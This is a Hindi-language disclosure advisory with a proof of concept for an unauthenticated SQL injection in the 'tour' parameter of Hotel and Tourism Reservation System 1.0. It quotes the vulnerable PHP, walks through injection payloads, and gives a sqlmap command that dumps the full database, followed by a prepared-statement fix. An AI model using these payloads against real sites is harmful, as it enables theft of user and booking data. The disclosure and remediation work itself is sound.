
होटल और पर्यटन आरक्षण प्रणाली 1.0 में बिना प्रमाणीकरण के SQL इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो tour पैरामीटर के माध्यम से डेटाबेस निष्कर्षण का प्रदर्शन करता है।
| फ़ील्ड | विवरण |
|---|
| शीर्षक | Hotel and Tourism Reservation System - tour GET पैरामीटर के माध्यम से SQL Injection |
| विक्रेता | code-projects.org |
| विक्रेता URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| उत्पाद | Hotel and Tourism Reservation System |
| संस्करण | 1.0 |
| भेद्यता प्रकार | SQL Injection |
| CWE | CWE-89 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित फ़ाइल | /ht/tour.php |
| प्रभावित पैरामीटर | tour (GET) |
| प्रमाणीकरण आवश्यक | नहीं |
| रिमोट से शोषण योग्य | हाँ |
| शोधकर्ता | Syed Imad Uddin Alvi |
Hotel and Tourism Reservation System 1.0 के tour.php में tour GET पैरामीटर में एक गंभीर SQL Injection भेद्यता मौजूद है। यह पैरामीटर बिना किसी सैनिटाइज़ेशन, बिना prepared statements और बिना इनपुट सत्यापन के सीधे एक raw SQL क्वेरी में पारित किया जाता है। एक बिना प्रमाणीकरण वाला रिमोट हमलावर डेटाबेस में किसी भी डेटा को निकालने, संशोधित करने या हटाने के लिए क्वेरी में हेरफेर कर सकता है। इस भेद्यता की पुष्टि sqlmap का उपयोग करके पूर्ण डेटाबेस डंप द्वारा की गई थी।
tour.php में असुरक्षित कोड:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID को सीधे $_GET['tour'] से लिया जाता है और बिना किसी सैनिटाइज़ेशन के SQL क्वेरी में इंटरपोलेट किया जाता है।
सेटअप: XAMPP पर Hotel and Tourism Reservation System 1.0 इंस्टॉल करें और http://<target>/ht/ पर एक्सेस करें
चरण 1 — बिना प्रमाणीकरण वाले उपयोगकर्ता के रूप में किसी भी tour पेज पर जाएँ:
http://<target>/ht/tour.php?tour=4

चरण 2 — SQL क्वेरी को तोड़ने और भेद्यता की पुष्टि करने के लिए एक single quote इंजेक्ट करें:
http://<target>/ht/tour.php?tour='
परिणाम: Fatal MySQL त्रुटि उत्पन्न होती है — पुष्टि होती है कि बिना सैनिटाइज़ किया गया इनपुट SQL क्वेरी तक पहुँचता है।

चरण 3 — boolean-आधारित पेलोड के साथ SQLi की पुष्टि करें:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
परिणाम: पेज tour डेटा के साथ सामान्य रूप से लोड होता है — boolean injection सफल।

चरण 4 — sqlmap का उपयोग करके पूरे डेटाबेस को डंप करें:
sqlmap -r sqli.txt --dump --batch
परिणाम: sqlmap hotel_db में सभी टेबलों को सफलतापूर्वक डंप करता है, जिनमें users, rooms, tour_reserves, gallery शामिल हैं — पूर्ण डेटाबेस समझौता पुष्ट।

एक बिना प्रमाणीकरण वाला रिमोट हमलावर निम्न कार्य कर सकता है:
INTO OUTFILE के माध्यम से संभावित रूप से Remote Code Execution प्राप्त कर सकता हैtour GET पैरामीटर को बिना prepared statements, parameterized queries या इनपुट सैनिटाइज़ेशन के उपयोग के सीधे एक raw SQL क्वेरी में इंटरपोलेट किया जाता है:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — स्वतंत्र सुरक्षा शोधकर्ता